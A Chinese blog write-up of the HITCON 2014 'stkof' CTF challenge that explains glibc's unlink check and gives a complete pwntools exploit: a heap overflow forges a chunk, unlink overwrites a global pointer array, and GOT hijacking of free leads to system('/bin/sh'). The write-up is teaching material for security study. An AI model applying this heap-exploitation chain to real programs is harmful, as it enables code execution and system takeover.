2014_hitcon_stkof

2014 HITCON stkof writeup 文章目录writeup 题目链接 1、查看安全策略 root@kali:~/ctf/Other/pwn/heap# checksec stkof [*] '/root/ctf/Other/pwn/heap/stkof' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) 可以看 阅读详情

题目链接
这是一道unlink的题,初学者可以通过它入门unlink
先大概了解一下unlink相关的知识点
unlink主要适用于
(64位)small chunk(?>size>=0x80)和large chunk(size>=?)(还没有测试出来)
(32位)small chunk(0x200>size>=0x40)和large chunk(size>=0x200)
下面是unlink源码(参考了ctf wiki)

/* Take a chunk off a bin list */
// unlink p
#define unlink(AV, P, BK, FD) {                                            
    // 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。
    //这里是构造chunk所必须满足的第一个条件。
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      
      malloc_printerr ("corrupted size vs. prev_size");              
    FD = P->fd;                                                                      
    BK = P->bk;                                                                      
    // 防止攻击者简单篡改空闲的 chunk 的 fd 与 bk 来实现任意写的效果。
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
    else {                                                                      
        FD->bk = BK;                                                              
        BK->fd = FD;                                                              
        // 下面主要考虑 P 对应的 nextsize 双向链表的修改
        if (!in_smallbin_range (chunksize_nomask (P))                                         				 	// 如果P->fd_nextsize为 NULL,表明 P 未插入到 nextsize 链表中。
            // 那么其实也就没有必要对 nextsize 字段进行修改了。
            // 这里没有去判断 bk_nextsize 字段,可能会出问题。
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {                      
            // 类似于小的 chunk 的检查思路
            if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)              
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
              malloc_printerr (check_action,                                      
                               "corrupted double-linked list (not small)",    
                               P, AV);                                              
            // 这里说明 P 已经在 nextsize 链表中了。
            // 如果 FD 没有在 nextsize 链表中
            if (FD->fd_nextsize == NULL) {                                      
                // 如果 nextsize 串起来的双链表只有 P 本身,那就直接拿走 P
                // 令 FD 为 nextsize 串起来的
                if (P->fd_nextsize == P)                                      
                  FD->fd_nextsize = FD->bk_nextsize = FD;                      
                else {                                                              
                // 否则我们需要将 FD 插入到 nextsize 形成的双链表中
                    FD->fd_nextsize = P->fd_nextsize;                              
                    FD->bk_nextsize = P->bk_nextsize;                              
                    P->fd_nextsize->bk_nextsize = FD;                              
                    P->bk_nextsize->fd_nextsize = FD;                              
                  }                                                              
              } else {                                                              
                // 最后将构造的chunk中(*fd)=bk
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;                      
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;                      
              }                                                                      
          }                                                                      
      }                                                                              
}

所以我们要实现任意地址写,要做到下面几个步骤

  1. 需要两个相邻的chunk(small、large chunk),如果是向前合并,则在蓝色chunk的payload中填充chunk信息,同时要注意的一点,我们还需要对绿色chunk 的p标志位(pre chunk allocated,前一个chunk used ,则p=1;前一个chunk free,则p=0)和黄色chunkp标志位置1。
    在这里插入图片描述
  2. 当我们free 绿色chunk时,程序会误以为黄色chunk也处于free状态,会将黄色chunk和绿色chunk进行unlink操作。
  3. 我们需要先绕过验证
// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
  // next_size related
              if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)              
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
              malloc_printerr (check_action,                                      
                               "corrupted double-linked list (not small)",    
                               P, AV); 

我们要使伪造的黄色chunk中的 fd->bk =bk->fd ,换种角度 只要满足*(fd+0x18) = *(bk+0x10)即可。那么我们是不是输入任意地址X都行。我们只要满足 fd=X-0x18,bk=X-0x10,那么就可绕过fd->bk =bk->fd 这个验证。
4. 当我们绕过这个验证后,程序会做些什么呢?

                // 最后将构造的chunk中(*fd)=bk
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;                      
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;   

程序会执行下面这两行代码
意思就是
*(fd+0x18)=bk
*(bk+0x10)=fd
既
*(X-0x18+0x18)=(X-0x10)
*(X-0x10+0x10)=(X-0x18)
既
* X = (X-0x10)
* X = (X-0x18)
既
* X =(X-0x18)
既实现了任意地址写

下面我们通过2014_hitcon_stkof来进一步体会这个漏洞
漏洞source code

  fgets(&s, 16, stdin);
  n = atol(&s);
  if ( n > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !::s[n] )
    return 0xFFFFFFFFLL;
  fgets(&s, 16, stdin);
  size = atoll(&s);
  ptr = ::s[n];
  for ( i = fread(ptr, 1uLL, size, stdin); i > 0; i = fread(ptr, 1uLL, size, stdin) )
  //漏洞的关键点,输入可以任意长,所以我们可以覆盖后一个chunk的pre size和size,修改P标志位,使的我们伪造的chunk能unlink
  {
    ptr += i;
    size -= i;
  }
def alloc(size):
  p.sendline('1')
  p.sendline(str(size))
  p.recvuntil('OK\n')
def free(n):
  p.sendline('3')
  p.sendline(str(n))
  p.recvuntil('OK\n')
def edit(n,read):
  p.sendline('2')
  p.sendline(str(n))
  p.sendline(str(len(read)))
  p.send(read)
  p.recvuntil('OK\n')

利用过程

  1. 构造chunk
    我们先malloc 4个small chunk,
alloc(0x80)# 1
alloc(0x80)# 2
alloc(0x80)# 3
alloc(0x20)# 4
bss =0x0000000000602140
aim = bss+0x10 //这是我们要修改的内存的地址
fd=aim - 0x18 //这是最后填充aim的数据
bk=aim - 0x10 
payload = p64(0x0)+p64(0x81)+p64(fd)+p64(bk)+'A'*0x60
payload+= p64(0x80)+p64(0x90)
edit(2,payload)

为什么要在第二个chunk中构造chunk,因为这个程序中没有setbuff操作,在调用fgets 和printf函数时,会申请0x410大小的chunk,可能会对之后的操作有影响。所以我们通过构造第一个chunk来规避后面unlink的麻烦,因为我们要unlink的话,必须保证两个chunk是紧挨着的。

pwndbg> heapls
           ADDR             SIZE            STATUS
sbrk_base  0xe05000
chunk      0xe05000         0x410           (inuse)//第一次print "OK"时申请的chunk
chunk      0xe05410         0x60            (inuse)//我们申请的第一个chunk
chunk      0xe05470         0x410           (inuse)//第一次调用fgets时申请的chunk
chunk      0xe05880         0x20780         (top)
sbrk_end   0xe26000

  1. 接下来我们利用unlink将存取chunk adress信息的s数组进行修改,使其存取(s-0x8)的地址,这样我们就能使用edit进行任意地址写了。
free(3)
puts_plt=elf.plt['puts']
free_got=elf.got['free']
fread_got=elf.got['fread']
puts_got=elf.got['puts']


print('put_ad=',puts_plt)
print('free_ad=',free_got)
print('fread_ad=',fread_got)
payload1=p64(0)+p64(fread_got)+p64(puts_got)+p64(free_got) 
edit(2,payload1)//我们

p64(0)覆盖(s-0x8)的内存
p64(fread_got)覆盖s的内存
p64(puts_got)覆盖s[1](s+0x8)的内存
p64(free_got) 覆盖s[2](s+0x16)的内存
3. 修改free got表,泄露fread libc地址,得到system libc地址

edit(2,p64(puts_plt))
p.sendline('3')
p.sendline(str(0))

fread = p.recvuntil('\nOK\n',drop=True).ljust(8,'\x00')
libcbase=u64(fread)-libc.symbols['fread']
system = libcbase+libc.symbols['system']
edit(2,p64(system))
edit(4,'/bin/sh\00')
p.sendline('3')
p.sendline(str(4))
p.interactive()

完整exp

from pwn import *
from LibcSearcher import *
context.log_level= 'debug'
p = process('./stkof')
libc = ELF('./libc.so.6')
elf = ELF('./stkof')

def alloc(size):
  p.sendline('1')
  p.sendline(str(size))
  p.recvuntil('OK\n')
def free(n):
  p.sendline('3')
  p.sendline(str(n))
  p.recvuntil('OK\n')
def edit(n,read):
  p.sendline('2')
  p.sendline(str(n))
  p.sendline(str(len(read)))
  p.send(read)
  p.recvuntil('OK\n')
raw_input()
alloc(0x80)# 1
alloc(0x80)# 2
alloc(0x80)# 3
alloc(0x20)# 4
bss =0x0000000000602140
aim = bss+0x10
fd=aim - 0x18
bk=aim - 0x10
payload = p64(0x0)+p64(0x81)+p64(fd)+p64(bk)+'A'*0x60
payload+= p64(0x80)+p64(0x90)
edit(2,payload)
free(3)
puts_plt=elf.plt['puts']
free_got=elf.got['free']
fread_got=elf.got['fread']
puts_got=elf.got['puts']


print('put_ad=',puts_plt)
print('free_ad=',free_got)
print('fread_ad=',fread_got)
payload1=p64(0)+p64(fread_got)+p64(puts_got)+p64(free_got)
edit(2,payload1)
edit(2,p64(puts_plt))
p.sendline('3')
p.sendline(str(0))

fread = p.recvuntil('\nOK\n',drop=True).ljust(8,'\x00')
libcbase=u64(fread)-libc.symbols['fread']
system = libcbase+libc.symbols['system']

edit(2,p64(system))
edit(4,'/bin/sh\00')
p.sendline('3')
p.sendline(str(4))
p.interactive()

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink/#2014-hitcon-stkof
https://www.cnblogs.com/alisecurity/p/5486458.html
https://paper.seebug.org/445/

Ubuntu 18.04下Freesurfer 7.2.0安装全攻略:从下载到环境配置一步到位 本文详细介绍了在Ubuntu 18.04系统上安装Freesurfer 7.2.0的完整流程,包括系统准备、依赖安装、下载解压、环境配置、许可证获取及性能优化。Freesurfer作为神经影像分析的重要工具,支持皮层重建和体积分割等复杂任务,适用于阿尔茨海默症等神经系统疾病研究。指南还提供了常见问题解决方案和实际应用案例,帮助用户快速搭建高效的神经影像分析平台。 阅读详情

相关推荐

【SAP报错】BK128&K5112

在ECC中使用CO1F进行Progressive confirmation时,依次遇到了如下的报错。

weixin_45228526的博客 784

hitcon_2014_stkof详解

本文主要列出hitcon2014_stkof的详细过程 主要参考:unlink 系列 程序流程 allocate:分配一个指定size大小的块,返回idx。 其中块的指针信息保存在一个全局变量0x602140中 fill:根据idx找到对应的块,重新给定大小size,读入内容content free:释放idx的块 漏洞分析 由于fill时候的size可以重新制定,可以造成堆溢出。 没有打印函数 有一个全局变量 方法:unlink unlink,控制全局变量内容 修改chunk1指.

像初雪一样自由洒落 2295

Unity3d SECTR 2019 从零开始了解(零)

插件刚下载下来,虽然从Demo里面看了下大致效果,但尝试使用的时候茫无头绪,因此决定一边读文档一边写下笔记。这个笔记会从最基本的名词概述开始一步一步到用法。 除非特别注明,所有内容都不是机翻,而是理解后自己翻译的。 翻译内容: 【零】API REFERENCE MANUAL第一章Documentation Core Concept 【一】 名词概述 CORE CORE是SECTR的核心,一个快速将 Sectors 和 Portals 加入到Unity中的工具,以及完整的源代码,可以构筑独特的功能。 VI

狗蛋在土里瑟瑟发抖 1501

hitcon2014_stkof

hitcon2014_stkof 查看保护 在edit这个功能下可以输入size。没有对size进行判断,这里产生了溢出。 unlink即可。unlink控制堆指针为got表,接着就可以改got为puts,泄露出libc,改got为gadget或system。具体unlink知识看z1r0’s blog from pwn import * context(arch='amd64', os='linux', log_level='debug') file_name = './z1r0' debug =

z1r0的博客 365

思岚A1 上手教程

前言 寒假在家闲着也是闲着,索性就向是实验室借了一个思岚 A1激光雷达,来进一步完成自己的实验室实习项目。经过一个月在Linux上和ROS上的摸爬滚打,我已经对机器人开发和SLAM有了初步了解,现在就写个上手教程吧(以防自己以后忘了)。 Basic Support 硬件 一台电脑 思岚 A1激光雷达 软件 安装Virtual Box虚拟机 在虚拟机安装Ubuntu 16操作系统 在Ubuntu 16搭建ROS kinetic 简要步骤 1.现在w..

ajxdhe的博客 6384

HTML音乐爱心3D旋转相册完整源码

HTML音乐爱心3D旋转相册完整源码

LilyCoder的博客 1380

hitcon2014_stkof(unsorted bin unlink)

hitcon2014_stkof 首先,检查一下程序的保护机制 然后,我们用IDA分析一下,edit功能存在溢出。 程序没有show功能。 由于没有开启PIE,got表也可以修改,因此,我们利用unlink控制堆指针为got表,然后修改strlen的got表为puts的plt表,即可实现show的功能,进而泄露glibc地址,后续利用。 #coding:utf8 from ...

seaaseesa的博客 917

YOLOv11改进入门篇 | 手把手讲解改进模块如何实现高效涨点,以SimAM注意力模块为例

本文记录的是基于SimAM注意力模块的YOLOv11目标检测方法研究。SimAM注意力模块通过优化能量函数来获得每个神经元的三维权重,而或增加计算复杂度。若是有轻量化需求的小伙伴,无参的注意力模块也许是一个不错的选择。

Limiiiing的博客 9037

[BUUCTF]-PWN:hitcon2014_stkof解析(unlink)

又是一道堆题,先看保护关键信息,64位,没开pie。再看ida大致就是alloc创建堆块,free释放堆块,fill填充堆块内容,以及一个看起来没啥用的函数,当然我也没利用这个函数去解题这里有两种解法。

2301_79326813的博客 1093

深入浅出讲解外部服务提供者 OAuth 2.0 帐户客户端创建与 ABAP 系统集成

本文详细介绍了在SAP ABAP平台配置OAuth 2.0客户端以安全调用外部Web服务的完整流程。主要内容包括:首先需要在外部服务提供者平台注册OAuth客户端,获取client ID和client secret;其次需特别注意重定向URI必须是公开可访问的地址;然后在ABAP系统中通过事务码OA2C_CONFIG配置OAuth客户端信息;最后阐述了常见的错误排查方法。文章强调了OAuth 2.0作为SAP系统与外部服务安全集成的标准协议,正确配置客户端是确保后续API调用安全可靠的关键前提。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 1734

智能硬件产品 App 全球发布 第 1 章:全球 App 发布战略设计

本章阐述智能硬件 App 全球发布战略,涵盖市场分析、竞争格局、用户画像及资源配置。通过制定可执行的全球化推广路径,整合地区法规合规、渠道分发策略与营销活动设计,助力团队快速进入主流商店并确立品牌影响力。同时构建可量化的 KPI 监控体系,指导项目进度追踪与效果复盘,确保产品迭代持续优化,降低运营总成本。

moton2017的博客 156

buuctf pwn hitcon2014_stkof 初识unlink

最近开始学堆,看了wiki和一些大佬的文章搞懂了这个有关unlink的题目:hitcon2014_stkof 首先拖进ida,看看几个主要的函数: 函数1,创建对,同时可以看到,堆的地址被存储在了s处,点进去看看 发现是bss段,像这样的指针,就是这类题目的一个特征 函数2,编辑堆内容,长度可以自己设置,有堆溢出漏洞 函数3,free堆 函数4用处不大 先把三个函数写好: def alloc(size): sh.sendline('1') sh.sendline(str(size))

weixin_45677731的博客 936

YOLOv9改进策略【注意力机制篇】| 添加SE、CBAM、ECA、CA、Swin Transformer等注意力和多头注意力机制

这篇文章带来一个经典注意力模块的汇总,虽然有些模块已经发布很久了,但后续的注意力模块也都是在此基础之上进行改进的,对于初学者来说还是有必要去学习了解一下,以加深对模块,模型的理解。

Limiiiing的博客 2892

2014 HITCON——stkof

64位程序,没开PIE  #unlink 程序逻辑 1 __int64 __fastcall main(__int64 a1, char **a2, char **a3) 2 { 3 int v3; // eax 4 signed int v5; // [rsp+Ch] [rbp-74h] 5 char nptr; // [rsp+10h] [r...

302

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

2014 HITCON CTF stkof

2014 HITCON CTF stkof 1.序言 接着how2heap的教程走,下面是unlink漏洞的利用及相关练习。 有关漏洞的原理,网上已经有很多说明了,在这里我给出一些比较靠谱一点的链接: CTF WiKi 堆溢出之unlink的利用-Yun Unlink Exploit Linux堆溢出漏洞利用之unlink 堆溢出的unlink利用方法 2.程序分析 ...

Bill 3077

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

unlink 2014 HITCON stkof

题目可以从buuctf下载 参考链接有两篇:一篇使我们的靶场里面的内网服务器的文章链接就不贴了:他所使用的原理是通过atoi函数来达到获取shell的,另外一篇通过free-》system https://blog.youkuaiyun.com/Pwnpanda/article/details/81369367 首先拿到题目,随便输入发现没有任何提示,,,,在IDA里面仔细看了看,大概看出来 1.用来分配 2用来写入内容 3.用来free 4.好像没什么用 而且发现在输入的时候是没有验证大小的,可以随便输入所以就可以

qq_36918532的博客 2718

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

BUUCTF--hitcon2014_stkof

考虑unlink修改no_use的strlen_got为puts_plt(这下就有用了),实现泄露libc_base的功能。利用思路:该程序没有输出函数,我们肯定是需要泄露libc_base的,因此需要改got表为puts_plt等。漏洞原理:fill函数造成堆溢出。这题没字符串输出,挺不习惯的。

qq_73149934的博客 219

Unlink 2014 HITCON stkof

如果我们找到或伪造地址里面的值是伪造的chunkP的地址值一个地址我们把该地址tar,tar-0x18填入fd绕过FD+0x18=P,tar-0x10填入bk绕过BK+0x10=P最终实现效果是在该tar地址写入tar-0x18两个地址tar1 和 tar2 tar1-0x18写入fd,tar2-0x10写入bktar1地址写入tar2-0x10|bk值tar2地址写入tar1-0x18|fd值。

Grxer的博客 148

从堆溢出到GOT劫持:HITCON 2014 stkof的unlink攻击实战剖析

本文深入剖析了HITCON 2014 stkof挑战中的unlink攻击技术,从堆溢出漏洞到GOT表劫持的全过程。通过伪造chunk结构、精心构造fd/bk指针,利用unlink操作实现任意地址写,最终完成GOT劫持并获取shell。文章详细解析了攻击链条的每个环节,包括堆管理机制、unlink操作原理及现代glibc的防御措施。

weixin_33724659的博客 473

2014 HITCON stkof 的 exp

思路借鉴于ctf-wiki,但ctf-wiki之中的思路较简略,且exp有一点疏忽的地方,故在此记录

哒君的博客 726

从HITCON 2014 stkof这道经典堆题,聊聊unlink攻击的实战利用与GOT表劫持

本文深入分析了HITCON 2014 stkof题目中的unlink攻击技术,详细讲解了堆溢出漏洞的利用方法及GOT表劫持的实现步骤。通过实战案例,展示了如何利用unlink攻击实现任意地址写,并结合Partial RELRO保护机制劫持GOT表获取shell。文章还探讨了现代堆保护机制及防御建议,是堆漏洞利用学习的进阶指南。

weixin_42692935的博客 320

2014_hitcon_stkof学习

适用于和我一样的广大pwn菜鸡

a2590035252的博客 1096

writeup hitcon-ctf-2014/stkof

writeup hitcon-ctf-2014/stkof题目: https://github.com/ctfs/write-ups-2014/tree/master/hitcon-ctf-2014/stkof 漏洞分析可参考: http://acez.re/ctf-writeup-hitcon-ctf-2014-stkof-or-modern-heap-overflow/ 使用pwntoo

fuchuangbob的专栏 2357

从HITCON 2014 stkof这道题,聊聊堆溢出利用中unlink的经典套路与实战细节

本文深入解析HITCON 2014 stkof题目中的堆溢出利用技术,重点探讨unlink机制的经典套路与实战细节。通过分析堆溢出漏洞、伪造空闲chunk结构、触发unlink操作等步骤,详细展示了如何利用该漏洞实现GOT表劫持,最终获取shell控制权。文章还对比了现代glibc中的防护机制,为CTF竞赛中的堆利用技术提供实用参考。

weixin_30443813的博客 477
上一篇: pwn 之use_after_free
下一篇: 南宁安全赛
Maxmalloc
博客等级 码龄8年 12粉丝 33原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值